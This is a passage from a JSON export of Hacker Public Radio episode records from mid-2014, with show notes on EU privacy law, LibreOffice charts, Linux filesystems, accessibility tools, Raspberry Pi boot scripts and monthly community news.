      \n\n","hostid":152,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"BASIC,Mattel Aquarius,Apple IIe,Macintosh,RedHat,SUSE,Mandrake,Slackware","version":0,"downloads":1453,"valid":1}, {"id":1542,"date":"2014-07-01","title":"Agnes is an IT Lawyer","duration":748,"summary":"Today on #HPR; listen to @IT_Advokaten talk about the change in EU law regarding personal data!","notes":"

      Today on Hacker Public Radio, we will talk to an IT lawyer about the new EU regulations regarding personal data.

      \n

      \"One thing I think you should be aware of is a principle called 'Privacy by Design and Privacy by Default'!\"
      -- Agnes

      \n

      IT Solutions Expo 2014

      \n

      In April 2014 I visited the \"IT Solutions Expo\" at the conference centre known as \"The Swedish Fair\" in Gothenburg. The tagline of the IT Solutions Expo was \"The fair that shows you how to make money on tomorrow's IT solutions\".

      \n

      So a lot of corporate propaganda and sales people. To be totally honest, I hesitated going there. But I am glad I did. There where some really interesting talks concerning privacy and technology that I would not have liked to miss.

      \n

      Agnes Andersson Hammarstrand, IT Lawyer

      \n

      The real highlight of the fair was the talk by Agnes Andersson Hammarstrand, a lawyer specialised in information technology. She covered the new laws that will come to pass in the European Union regarding how we are allowed to handle personal data.

      \n

      I was very happy that she was willing to give a short interview for Hacker Public Radio.

      \n

      It is interesting to see that it is not only consumers who are starting to think that information about us should be kept safe, it is also slowly becoming the law. If your work in or with companies in the European Union, this is definitely a heads-up, something to take notice of. In a couple of years time you must be ready to follow the new legislation.

      \n

      In her talk Agnes also mentioned that companies should have someone who is responsible for privacy issues. Perhaps this is an opportunity for the HPR listeners? Most of you probably feel that this is an important topic already, so why not make it a part of your job description?

      \n

      You find all the relevant links down below. If you want to send feedback or get in touch with either Agnes or me, please do not hesitate to do so. If you have any thoughts on the subject at hand or regarding the show, use any of the means below and speak your mind.

      \n

      Stuff referenced in the episode

      \n \n

      How to reach me

      \n

      You should follow me and subscribe to All In IT Radio:

      \n ","hostid":192,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"it solutions expo 2014, interview, personal data, eu, law","version":0,"downloads":1283,"valid":1}, {"id":1543,"date":"2014-07-02","title":"What's in my bag","duration":1154,"summary":"The contents of Ken's bag as he prepares for OHM 2013","notes":"

      Items

      \n
      \n$ cat pringbooklet\n#!/bin/bash\n\n#HTML Input --> HTML 2 PS --> PS 2 PDF --> PDF Output\n#lpstat -p |awk '{print $2}'\n\nif [ $# -lt 2 ]\nthen\n  echo \"\"\n  echo \"Usage: `basename $0` {pdf file} {printer name}\"\n  echo \"\"\n  echo \"Available printers: \\\"$(echo $(lpstat -p |awk '{print $2}' ) )\\\"\"\n  echo \"\"\n  exit\nfi\n\nFILE=$1\nPRINTER=$2\n\n\nif [ $# -eq 3 ]\nthen\n  COPIES=\"$3\"\nelse\n  COPIES=\"1\"\nfi\n\nif [ ! -e $FILE ];\nthen\n  echo \"Can't find the PDF file $1\"\n  exit\nfi\n\npdftops -level3 $FILE - | ps2ps - - | psbook | psnup -2 -Pa4 | ps2pdf - |\\\n    lp -d $PRINTER -o media=a4 -o sides=two-sided-short-edge -n $COPIES -\n
      ","hostid":30,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"laptop backpack,OHM 2013","version":0,"downloads":1325,"valid":1}, {"id":1544,"date":"2014-07-03","title":"An Open Source News Break from Opensource.com","duration":264,"summary":"An overview of open source news stories recently published on Opensource.com","notes":"

      In this episode: The true value of open source, an introduction to the new Authors Alliance, and an OpenStack challenge.

      \n

      Links:

      \n ","hostid":280,"series":28,"explicit":0,"license":"CC-BY-SA","tags":"Authors Alliance, OpenStack","version":0,"downloads":1294,"valid":1}, {"id":1545,"date":"2014-07-04","title":"32 - LibreOffice Calc - Introduction to Charts and Graphs","duration":1184,"summary":"LibreOffice, Calc, Spreadsheet, chart, graph","notes":"

      There are many Charts and Graphs available in LibreOffice Calc, but choosing the right one makes a difference. In this episode we review your options and help you to make the right choice.

      \n ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc","version":0,"downloads":1279,"valid":1}, {"id":1546,"date":"2014-07-07","title":"HPR Community News for June 2014","duration":5739,"summary":"Ahuka, Dave and Ken, review the happenings for the month.","notes":"

      New hosts

      \n

      Welcome to our new hosts:
      Mark Waters, semioticrobotic.

      \n

      Last Month's Shows

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      IdTitleHost
      1521Cardboard Greeting CardsShane Shennan
      1522How to Use Docker and Linux Containersklaatu
      1523HPR Community News for May 2014HPR Admins
      1524WASHLUG 20150515 GPG and E-mailAhuka
      152530 - LibreOffice Calc - A Savings ModelAhuka
      1526Penguicon 2014Ahuka
      1527Surviving A Roadtrip: GPSWindigo
      1528Wildswimming in FranceMark Waters
      1529TrueCrypt, Heartbleed, and Lessons LearnedAhuka
      1530The Ext2 File SystemJWP
      1531How I use LinuxJezra
      1532Project Idea - White-Hat Spam BotKeith Murray
      1533Beginner's guide to the night sky 2Andrew Conway
      1534My Introduction to HPRsemioticrobotic
      153531 - LibreOffice Calc - Sheet Editing and NavigationAhuka
      1536The 150-in-1 Electronic Project KitCurtis Adkins (CPrompt^)
      1537How I make Coffeex1101
      1538Overhauling the School of Music websiteJon Kulp
      1539An Open Source News Break from Opensource.comsemioticrobotic
      1540The journeling File SystemJWP
      1541How I Came To LinuxClaudio Miranda
      \n

      Mailing List discussions

      \n

      Policy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the Mail List which is open to all HPR listeners and contributors. The discussions are open and available on the Gmane archive.

      ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1324,"valid":1}, {"id":1547,"date":"2014-07-08","title":"My Linux Experience Birthday Special","duration":922,"summary":"The cake is not a lie, I tell how I got into Linux and what my favorite Birthday Cake is.","notes":"The cake is not a lie, I tell how I got into Linux and what my favorite Birthday Cake is.","hostid":209,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"birthday,Atari,Macintosh Classic,Ubuntu,Mint","version":0,"downloads":1310,"valid":1}, {"id":1548,"date":"2014-07-09","title":"Heyu and X10","duration":1780,"summary":"Peter64 and Jonathan Nadeau talk about Heyu and X10","notes":"

      \nIn today's backup show, Peter64 submits a devrandom segment about Heyu and X10 he did with Jonathan Nadeau. \n

      \n

      \nhttps://www.sonar-project.org/\n

      \n

      \nhttps://accessiblecomputingfoundation.org/\n

      \n

      \nA good place to look at modules ie the CM11 computer module, light \nmodules, appliance modules etc\n

      \n

      \nhttps://www.x10controller.com/kit.html\n

      \n

      \nHeyu\nhttps://www.heyu.org/\n

      \n

      \nDomus Link\nhttps://domus.link.co.pt/ \n

      \n

      \nAndroid App\nhttps://www.appszoom.com/android_applications/tools/domuslink_yjlt.html\n

      \n

      \nDoor Locks/strikes\n

      \n

      \nhttps://tinyurl.com/c3j654a\n

      \n

      \nhttps://tinyurl.com/d7ckcde\n

      ","hostid":232,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Heyu,X10","version":0,"downloads":1330,"valid":1}, {"id":1549,"date":"2014-07-10","title":"Cool Stuff Pt.1","duration":1507,"summary":"In this episode CPrompt covers some pretty cool stuff that he has found over the last few days.","notes":"

      In this episode CPrompt covers some pretty cool stuff that he has found over the last few days.

      \n

      Links: Beyond Pod

      \n \n

      You're Listening To

      \n \n

      Wallet Ninja

      \n \n

      Dream The Electric Sleep

      \n ","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"beyondpod,youarelistening.to,Wallet Ninja,Dream The Electric Sleep","version":0,"downloads":1477,"valid":1}, {"id":1550,"date":"2014-07-11","title":"The Ext3 and 4 File System","duration":476,"summary":"The Ext3 and 4 File System","notes":"The Ext3 and 4 File System","hostid":129,"series":77,"explicit":1,"license":"CC-BY-SA","tags":"filesystem,ext3,ext4","version":0,"downloads":1543,"valid":1}, {"id":1551,"date":"2014-07-14","title":"Bitcoin Mining","duration":510,"summary":"This is a short summary of what steps I took to get a set and forget bitcoin mining station going","notes":"

      \nThis is a short summary of what steps I took to get a set and forget bitcoin mining station going. Using a asicminer cube eruptor and an odroid u2.\n

      \n","hostid":281,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"bitcoin,bitcoin mining,ASICMiner Block Erupter Cube,odroid u2","version":0,"downloads":1383,"valid":1}, {"id":1552,"date":"2014-07-15","title":"An Open Source News Break from Opensource.com","duration":267,"summary":"An interview with Mark Johnson of OSS Watch, Open Source Seed Initiative, and more","notes":"

      In this episode: An interview with Mark Johnson of OSS Watch, the Open Source Seed Initiative, and a video game that asks to be hacked.

      \n

      Links:

      \n ","hostid":280,"series":28,"explicit":0,"license":"CC-BY-SA","tags":"newscast,Opensource.com","version":0,"downloads":1305,"valid":1}, {"id":1553,"date":"2014-07-16","title":"TuxJam 33.333 - How we got into Linux ","duration":4077,"summary":"Kevie and Andrew release TuxJam episode 33 1/3 as an exclusive to HPR on how they got into Linux","notes":"

      Kevie and Andrew release TuxJam episode thirty three and a third as an exclusive to HPR on how they got into Linux, interspersed with a few Creative Commons licensed tunes. The story begins in the mid-1990s and some credit is given to a Microsoft product. At no point do they put on terrible Irish accents and discuss the spelling of whisk(e)y*. If you like what you hear then you might like to listen to other TuxJam episodes here: https://unseenstudio.co.uk/category/tuxjam-ogg/
      * This may not be entirely true.

      ","hostid":268,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"FOSS,software,creative commons,music","version":0,"downloads":1362,"valid":1}, {"id":1554,"date":"2014-07-17","title":"07 - The Crown Conspiracy","duration":4548,"summary":"The Crown Conspiracy gets thumbs up from the HPR Audiobook Club ","notes":"

      \nSPECIAL ANNOUNCEMENT HPR_AudioBookClub SNEAK PREVIEW!!! \nSometime in the not-too-distant future we'll be reviewing Street Candles by HPR's very own David Collins Rivera (aka Lostinbronx). Street Candles is not finished yet, but is available via RSS and Lostinbronx publishes a new episode each week. This book is excellent, and you'll want to say you were there to see it happen. Head over to LNB's site for all the details https://www.cavalcadeaudio.com/ and remember to subscribe to his RSS feed:\n

      \n\n\n\n

      \nIn this episode, the HPR_AudioBookClub reviews The Crown Conspiracy by Michael J. Sullivan. This book received thumbs up from all of this month's participants. You can download this audiobook for free (or voluntary donation) from https://podiobooks.com/title/the-crown-conspiracy/ and it's also available in paperback on Amazon: https://www.amazon.com/Crown-Conspiracy-Michael-J-Sullivan/dp/0980003431 . You can find more content (including podcasts) from Michael J. Sullivan https://riyria.blogspot.com/ Many of his books are also available in paper and ebook editions on amazon.com.\n

      \n

      \nAs usual, during this episode of the AudioBookClub the hosts have each reviewed a beverage of their choice.\nMorgellon drank a Bourbon and soda, but not during the show because he was driving. He recommends both Woodford Reserve https://www.woodfordreserve.com/ and Evan Williams Bourbons https://www.evanwilliams.com/\nx1101 drank Wild Turkey 101 proof Bourbon https://wildturkeybourbon.com/\npokey drank a cup of Oolong tea. It was probably a little stale, but pokey is a knuckle dragger, so he didn't notice at all. https://www.foojoyteas.com/teabag.php . This was the first time that pokey has reviewed an NA beverage for the AudioBookClub, so we apologize if the show has suffered because of it.\nThaj won the Non-Alcoholic division hands down with a glass of fresh squeezed lemonade.\nColin couldn't make it to this recording because of time zone differences, but he did write in. I'll add his note to the episode comments. Please add your own comment as well. His beverage however was an Innis and Gunn Original https://www.innisandgunn.com/the-range/core-range/original/ to which he gives his thumb up.\n

      \n

      \nOur next audiobook will be How to Succeed in Evil: The Novel by Patrick E. McLean https://podiobooks.com/title/how-to-succeed-in-evil-the-novel/\n(not to be confused with How To Succeed in Evil: The Original Podcast Episodes by Patrick E. McLean)\nThis book was suggested by Morgellon. Our next book club recording will be 2014/06/10T23:00:00+00:00 (https://en.wikipedia.org/wiki/ISO_8601#Times)\n

      \n

      \nThere are several ways to submit feedback for this episode including the HPR mail list hpr@hackerpublicradio.org, and the episode's comment section\nMorgellon is reachable via twitter @lowtekmorgellon or email morgellon@gmail.com\nx1101 can be reached via twitter @x1101, StatusNet @x1101/micro.fragdev.com and email x1101@gmx.com\nThaj can be reached by email thajasara@gmail.com\npokey prefers his feedback to come via the HackerPublicRadio comment system, but is also usually available on StatusNet @pokey/micro.fragdev.com\n

      \n

      \nPlease remember to visit the HPR contribution page. We could really use your help right now. https://hackerpublicradio.org/contribute.php\n

      \n

      \nWe had a great time recording this show, and we hope you enjoyed it as well. We hope you'll consider joining us next time. Thank you very much for listening.\n

      \n

      \nSincerely,\nThe HPR_AudioBookClub\n

      \n

      \nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\n

      ","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR AudioBookClub,The Crown Conspiracy","version":0,"downloads":1305,"valid":1}, {"id":1555,"date":"2014-07-18","title":"33 - LibreOffice Calc - Creating Charts","duration":881,"summary":"Creating Charts with LibreOffice Calc","notes":"

      \nIn creating a chart or graph you have a number of options that can make your chart easier to read and understand. In this episode we look at these options and explain what each of them does.\n

      \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, chart, graph","version":0,"downloads":1242,"valid":1}, {"id":1556,"date":"2014-07-21","title":"Screenplay Writing On Linux and Chromebooks","duration":789,"summary":"ThistleWeb explores a couple of screenplay writing solutions for Linux and Chromebooks","notes":"

      Writing screenplays for TV or movies is a very precise thing. The industry expects a standardised style and format. ThistleWeb explores a couple of dedicated screenplay writing solutions. Both are dedicated applications that do one job and do it very well. The first is Trelby. It's a GPL cross platform application. It has lots of additional features such as auto completion of character names, summaries and stats.

      \n

      The second application is a cloud service called Raw Scripts. It's a Chrome extension although I think that's just a link to the site. You log in with a Google or Yahoo account. It's like a dedicated Google Docs web app. It does most of the things Trelby does. It also exports to Google if you want. You can share and collaborate with Raw Scripts. It's hosted on their server, although it's AGPL going forward, so it shouldn't be long before you can host it on your own server.

      \n

      I've just started to explore screenplay writing as a writing skillset. Both of these applications make the styling and formating incredibly easy, allowing me to concentrate on the actual story.

      \n

      Links:

      \n ","hostid":106,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"screenplay,writing,Trelby,Raw Scripts","version":0,"downloads":1159,"valid":1}, {"id":1557,"date":"2014-07-22","title":"Encrypting E-mail on Android; Importing Keys","duration":1865,"summary":"This episode looks at a sensible model of obtaining the right amount of security for your needs.","notes":"

      We have looked at e-mail encryption on both Thunderbird and G-Mail, and that is good, but in 2014 a lot of people use mobile phones and tablets for their e-mail. So it makes sense to look at how we can do this. The solution I am going explore here involves two components, the K-9 Android mail client, and APG, the Android Privacy Guard. I am going to stick to what I know, so if you are looking for help with iPhone or iPad, the best I can do is suggest that you try a Google search. On Android, while many people use Gmail, K-9 is a very popular client for people looking for a more traditional POP3 or IMAP client to handle their e-mail needs. So this should be a good solution for many people. As regards APG, I am not aware that anyone has done an audit of this program. It seems to be the most widely recommended, and is probably OK, but I am making no larger claims for it. - For more go to https://www.zwilnik.com/?page_id=602

      \n

      Links:

      \n ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Security and Privacy series, cost/benefit","version":0,"downloads":1248,"valid":1}, {"id":1558,"date":"2014-07-23","title":"Lunch Breaks","duration":1505,"summary":"Break out of your brown bag or greasy box and explore the world around your workplace!","notes":"

      Back after a year of HPR silence, I'll talk a little about how I like to spend my lunch breaks and how you can explore your workplace. Put down those tater tots, we're going on an adventure!

      \n

      In this episode I'll give some information about my lunch history, ways you can maximise your time, gear you'll need to start short stealth/urban exploration, techniques for finding places to explore, and ways to handle being spotted.

      \n

      If this goes well enough and the audio isn't too garbled, I'll record episodes for the \"How I Got Into (GNU) Linux\" series.

      \n

      Here are a few links related to the episode. Note that I link to Amazon and Google. I don't necessarily condone or endorse either service, I just didn't know of any better sources for product information.

      \n \n

      Links

      \n \n

      Sample sit pads:

      \n ","hostid":241,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"urban exploration, lunch, leisure, stealth","version":0,"downloads":1206,"valid":1}, {"id":1559,"date":"2014-07-24","title":"We don't always need new gear.","duration":1540,"summary":"Knightwise gives some budget saving tips on why you don't always need to get new gear.","notes":"Knightwise gives some budget saving tips on why you don't always need to get new gear.","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"budget saving","version":0,"downloads":1249,"valid":1}, {"id":1560,"date":"2014-07-25","title":"The reiserfs File System","duration":212,"summary":"The reiserfs File System","notes":"The reiserfs File System","hostid":129,"series":77,"explicit":1,"license":"CC-BY-SA","tags":"file system,journaling,reiserfs","version":0,"downloads":0,"valid":1}, {"id":1561,"date":"2014-07-28","title":"How I got into Accessible Computing","duration":427,"summary":"How I got into Accessible Computing including definition of 'accessible'","notes":"

      \nAccessibility tools for the visually impaired\n

      \n

      \nA short explanation of how I personally got involved with accessible computing,\na definition of the term 'accessible' as it is applied to anything in relation\nto persons with physical or cognitive impairment, and very short list of the most\ncommonly used adaptive tools to improve accessibility to Windows and Linux.\n

      \n\n

      Windows

      \n\n\n\n

      Linux

      \n\n
        \n
      • The Orca screen-reader: https://help.gnome.org/users/orca/stable/\n
      • \n
      • The brltty refreshable Braille display driver: https://mielke.cc/brltty/
        \n brltty has to be the most impressive example of well-documented Open Source.\n
      • \n
      • Debian Accessibility: https://www.debian.org/devel/debian-accessibility/
        \n Debian has a fully accessible installer. I have installed Debian 7.4 from the net install CD ISO image. The installer is text-based and presents no problem for even the totally blind.
        \n See the Debian Accessibility page linked to above.\n
      • \n
      • Ubuntu Accessibility: https://help.ubuntu.com/community/Accessibility \n The Ubuntu 'Ubiquity' graphical installer is totally accessible. Installing from a live CD or DVD image is simple. See the page linked above. \n
      • \n
      • Vinux (an Ubuntu variant which is accessible out-of-the-box): https://vinuxproject.org/ \n This is an Ubuntu variant which comes up talking from the first. Not only is the installer accessible, but considerable attention has been paid to including only applications which are accessible on the CD and DVD images. Applications which are either inaccessible or which simply have little or no relevance to the visually impaired are excluded.\n
      • \n
      • Talking Arch: https://talkingarch.tk/\n Chris Brannan created an accessible ISO image of Arch Linux.
        \n This uses the speakup console-mode screen-reader to provide a way of installing Arch Linux for the visually impaired. Console-mode only, but providing a great starting-point. I have tried various desktops on top of this installation, including mate, LXDE and others.
        \n Talking Arch is now maintained by a couple of names which will be familiar to the Linux VI community; Kyle and Kelly. Erm...embarassingly I can't find their last names right now.\n
      • \n
      \n\n

      \nMike Ray. June 2014\n

      \n","hostid":282,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"accessible, NVDA, Orca, brltty, Vinux, Talking Arch, Ubuntu Accessibility, Debian Accessibility","version":0,"downloads":0,"valid":1}, {"id":1562,"date":"2014-07-29","title":"Android For The cli/c Junkie","duration":440,"summary":"This episode should be your companion while installing the android SDK/NDK and creating C-bases apps","notes":"

      \nThese are the places your sdk/ndk/ant goes:\n

      \n
      \n/usr/local/share/android-ndk-r9d\n/usr/local/share/android-sdk-linux\n/usr/local/share/ant\n
      \n

      \nThis is an archive of /usr/local/share/android-sdk-linux/bin, which is the directory you create.
      \nhttps://theadesilva.com/hpr_bin.tar.gz\n

      \n

      \nThis is what /etc/profile.d/android.sh looks like:\n

      \n
      \nexport ANT_HOME=/usr/local/share/ant\nexport JAVA_HOME=/usr/\nexport PATH=$PATH:/usr/local/share/android-sdk-linux/bin:$ANT_HOME/bin\n
      \n

      \nhere's the example app:
      \nhttps://theadesilva.com/pants.tar.gz
      \nuncompress it and type \"make\", that produces app.apk to run on your device.\n

      \n\n","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"android,application,native development kit,ndk","version":0,"downloads":0,"valid":1}, {"id":1563,"date":"2014-07-30","title":"Starting Programs at boot on the Raspberry Pi","duration":943,"summary":"How I start programs at boot on my Raspberry Pi ","notes":"

      How I start programs at boot on my Raspberry Pi. Below is a copy of the /etc/rc.local file I use on my raspberry pi.

      \n#!/bin/sh -e\n#\n# rc.local\n#\n# This script is executed at the end of each multiuser runlevel.\n# Make sure that the script will \"exit 0\" on success or any other\n# value on error.\n#\n# In order to enable or disable this script just change the execution\n# bits.\n#\n# By default this script does nothing.\n\n# Print the IP address\n_IP=$(hostname -I) || true\nif [ \"$_IP\" ]; then\n  printf \"My IP address is %s\\n\" \"$_IP\"\nfi\n\n################## Added by MrX 28/12/12, ############################################################\n#  V1, 21/03/14, titied up script, added explination, run didiwiki and got detached screen working at boot\n\n# items are run in a subshell enclosing command in ( and )\n# the commands are terminted with a & to run as background task\n# by default programs are run as root if this is not required \"su\" is used to switch user to pi\n# becuse each program is run as a subsheel they all run in parallel this is why the sleep\n# command is needed, each sleep command must be longer than the sum of the sleeps before\n# which ensures the commands are run in sequence and not together\n# exit 0 was from the original file to ensure the file exited with status 0\n# if the script doesn't exit with status 0 then the pi will not fully boot\n\n\n# At boot fources audio aoutput to headphones socket (Analogue output)\n# from magpie magazine pdf, issue 3 page 4\n(sleep 1; /usr/bin/amixer cset numid=3 1) &\n\n\n# At boot run the command didiwiki as user pi, listening on IP 192.168.1.13 port 8000\n(sleep 3; su pi -c \"/usr/bin/didiwiki -l 192.168.1.13 -p 8000\") &\n\n\n# run a detached screen session at boot\n(sleep 6; su pi -c \"cd /home/pi ; /usr/bin/screen -dmS pi-debian -c /home/pi/.screenrc.multiwin\") &\n\nexit 0\n
      ","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"raspberry pi,rc.local,bootstrap","version":0,"downloads":0,"valid":1}, {"id":1564,"date":"2014-07-31","title":"An Open Source News Break from Opensource.com","duration":312,"summary":"demand for Linux professionals, open access science journal, search for a malaria cure","notes":"

      \nIn this episode: The growing demand for Linux professionals, a new open access science journal, and the open sourced search for a malaria cure.\n

      \n

      \nLinks:\n

      \n\n","hostid":280,"series":28,"explicit":0,"license":"CC-BY-SA","tags":"systems administrator,F1000Research,Open Source Malaria","version":0,"downloads":0,"valid":1}, {"id":1565,"date":"2014-08-01","title":"34 - LibreOffice Calc - More on Chart Editing","duration":793,"summary":"Editing charts, Calc","notes":"

      \nIn this episode we review the options for editing your chart, do a brief recap of the object model, and create an example of a chart with a secondary Y-axis.\n

      \n

      \nLinks:\n

      \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, chart, graph","version":0,"downloads":0,"valid":1}, {"id":1566,"date":"2014-08-04","title":"HPR Community News for July 2014","duration":2350,"summary":"Dave reviews the happenings for the month, with a brief visit from pegwole.","notes":"

      New hosts

      \n

      Welcome to our new hosts:
      Scyner, Mike Ray.

      \n

      Last Month's Shows

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      IdDateTitleHost
      15422014-07-01Agnes is an IT LawyerSeetee
      15432014-07-02What's in my bagKen Fallon
      15442014-07-03An Open Source News Break from Opensource.comsemioticrobotic
      15452014-07-0432 - LibreOffice Calc - Introduction to Charts and GraphsAhuka
      15462014-07-07HPR Community News for June 2014HPR Admins
      15472014-07-08My Linux Experience Birthday SpecialDavid Whitman
      15482014-07-09Heyu and X10Peter64
      15492014-07-10Cool Stuff Pt.1Curtis Adkins (CPrompt^)
      15502014-07-11The Ext3 and 4 File SystemJWP
      15512014-07-14Bitcoin MiningScyner
      15522014-07-15An Open Source News Break from Opensource.comsemioticrobotic
      15532014-07-16TuxJam 33.333 - How we got into LinuxAndrew Conway
      15542014-07-1707 - The Crown ConspiracyHPR_AudioBookClub
      15552014-07-1833 - LibreOffice Calc - Creating ChartsAhuka
      15562014-07-21Screenplay Writing On Linux and ChromebooksThistleweb
      15572014-07-22Encrypting E-mail on Android; Importing KeysAhuka
      15582014-07-23Lunch BreaksChristopher M. Hobbs
      15592014-07-24We don't always need new gear.Knightwise
      15602014-07-25The reiserfs File SystemJWP
      15612014-07-28How I got into Accessible ComputingMike Ray
      15622014-07-29Android For The cli/c Junkiesigflup
      15632014-07-30Starting Programs at boot on the Raspberry PiMrX
      15642014-07-31An Open Source News Break from Opensource.comsemioticrobotic
      \n

      Mailing List discussions

      \n

      Policy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the Mail List which is open to all HPR listeners and contributors. The discussions are open and available on the Gmane archive.

      \n

      Discussed this month were:

      \n
        \n
      • Ahuka's interview by semioticrobotic for opensource.com
      • \n
      • Discussion of who is going to OggCamp 14, reserving a table and who has the table kit
      • \n
      • Montana Ethical Hackers want to broadcast HPR content on 107.9FM End Of the Dial--Hacker Radio
      • \n
      • The Mumble server has moved
      • \n
      • Some Community News banter about many-to-many database relationships initiated a show!
      • \n
      • Audio Book Club - planning the next recordings, the Mumble change and the location of the feeds
      • \n
      • A slight misunderstanding about Orca arising from the Community News
      • \n
      • Some discussion about the generation of audio and HTML show notes
      • \n
      • Should we publish the HPR downloads stats ? - continuation of last month's discussion with the conclusion that yes, we should publish these stats
      • \n
      • 5150's devastating news - he lost his house in a fire. He and his father are OK, but 5150 got some first-degree and second-degree burns. A funding site has been set up by Dan Frey at https://fundanything.com/en/campaigns/help-5150
      • \n
      • Fwd: Migration in the future (To my company). -
          \n
        • Josh Knapp is setting up his own hosting company https://anhonesthost.com/
        • \n
        • The HPR site will be migrating there
        • \n
        • A thank you to Josh's company will be included in the intro
        • \n
        • The outro will need to be re-recorded
        • \n
        • A summary of the show will also be included after the intro, using text to speech
        • \n
        \n
      • \n
      • New Intro, Outro, and Template Files now available - the show note header has been changed too and the details on the web site at https://hackerpublicradio.org/contribute.php
      • \n
      \n

      Comments this month

      \n

      There are 13 comments:

      \n
        \n
      • hpr1563 etalas: \"[no title]\", relating to the show hpr1563 (2014-07-30) \"Starting Programs at boot on the Raspberry Pi\" by MrX.
      • \n
      • hpr1558 Mark Waters: \"Thanks\", relating to the show hpr1558 (2014-07-23) \"Lunch Breaks\" by Christopher M. Hobbs.
      • \n
      • hpr1558 Ken Fallon: \"You *must* get a recording device for mobile interviews\", relating to the show hpr1558 (2014-07-23) \"Lunch Breaks\" by Christopher M. Hobbs.
      • \n
      • hpr1558 pokey: \"Cool topic\", relating to the show hpr1558 (2014-07-23) \"Lunch Breaks\" by Christopher M. Hobbs.
      • \n
      • hpr1558 Beeza: \"Lunchbreak Exploration\", relating to the show hpr1558 (2014-07-23) \"Lunch Breaks\" by Christopher M. Hobbs.
      • \n
      • hpr1554 Colin : \"Journey comments\", relating to the show hpr1554 (2014-07-17) \"07 - The Crown Conspiracy\" by HPR_AudioBookClub.
      • \n
      • hpr1553 pokey: \"Fun ep\", relating to the show hpr1553 (2014-07-16) \"TuxJam 33.333 - How we got into Linux \" by Andrew Conway.
      • \n
      • hpr1551 pokey: \"Very interesting\", relating to the show hpr1551 (2014-07-14) \"Bitcoin Mining\" by Scyner.
      • \n
      • hpr1549 pokey: \"Cool stuff\", relating to the show hpr1549 (2014-07-10) \"Cool Stuff Pt.1\" by Curtis Adkins (CPrompt^).
      • \n
      • hpr1538 Jon Kulp : \"Thanks Dave! \", relating to the show hpr1538 (2014-06-25) \"Overhauling the School of Music website\" by Jon Kulp.
      • \n
      • hpr1284 Jon Kulp : \"Help for Ash\", relating to the show hpr1284 (2013-07-04) \"Blather Speech Recognition for Linux: Interview with Jezra\" by Jon Kulp.
      • \n
      • hpr1199 Don Frey: \"[no title]\", relating to the show hpr1199 (2013-03-07) \"Old Time Radio on the web\" by Frank Bell.
      • \n
      • hpr0367 Georgi : \"[no title]\", relating to the show hpr0367 (2009-05-28) \"Screw you Hacker\" by Chad.
      • \n
      ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1567,"date":"2014-08-05","title":"Multiboot Partitioning with Linux","duration":1020,"summary":"In this episode I discuss the way I set up partitions on my laptop for multibooting.","notes":"

      I like to distro-hop some and try out new things. Sometimes, I want to have 2 or more Linux distros on my system at the same time so I can compare and contrast them. Initially I used a separate /home and mounted it to each distro on my system. This led to config file corruption and I needed a new approach. I hope this will help somebody! Thanks. ~Matt aka @sahg33kdad https://g33kdad.thestrangeland.net

      \n

      Links:

      \n

      Original guest blog post on knightwise.com which inspired this episode: https://knightwise.com/the-perfect-partition-setup-for-a-multibooting-system/

      \n

      Image of filesystem tree: https://thestrangeland.net/images/directory_list.png

      ","hostid":255,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"partitioning, Linux, multiboot, sysadmin","version":0,"downloads":0,"valid":1}, {"id":1568,"date":"2014-08-06","title":"Blather Speech Recognition for Linux","duration":399,"summary":"Jon has a conversation with his computer","notes":"

      Blather Speech Recognition for Linux: Jon has a conversation with his computer

      \n

      In this episode I have a blather conversation with my computer. This is a sort of appendix to an episode I released earlier (hpr 1284 https://hackerpublicradio.org/eps.php?id=1284) which was a conversation with Jezra, the lead developer of the blather speech recognition program for Linux. The current episode will make much more sense if you listen to the previous one first.

      \n

